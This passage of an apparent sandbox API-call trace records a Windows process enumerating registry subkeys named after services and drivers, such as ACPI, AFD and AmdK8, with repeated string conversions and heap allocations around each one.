lpUsedDefaultChar=0x0) returned 21 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0228.956] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.956] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0228.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0228.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0228.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0228.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0228.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.957] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.957] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0228.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.957] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.958] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.958] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.958] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0228.958] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.958] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.959] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.959] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0228.959] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.960] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.960] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.960] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.961] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.961] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.961] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0228.961] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.961] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.962] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.962] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 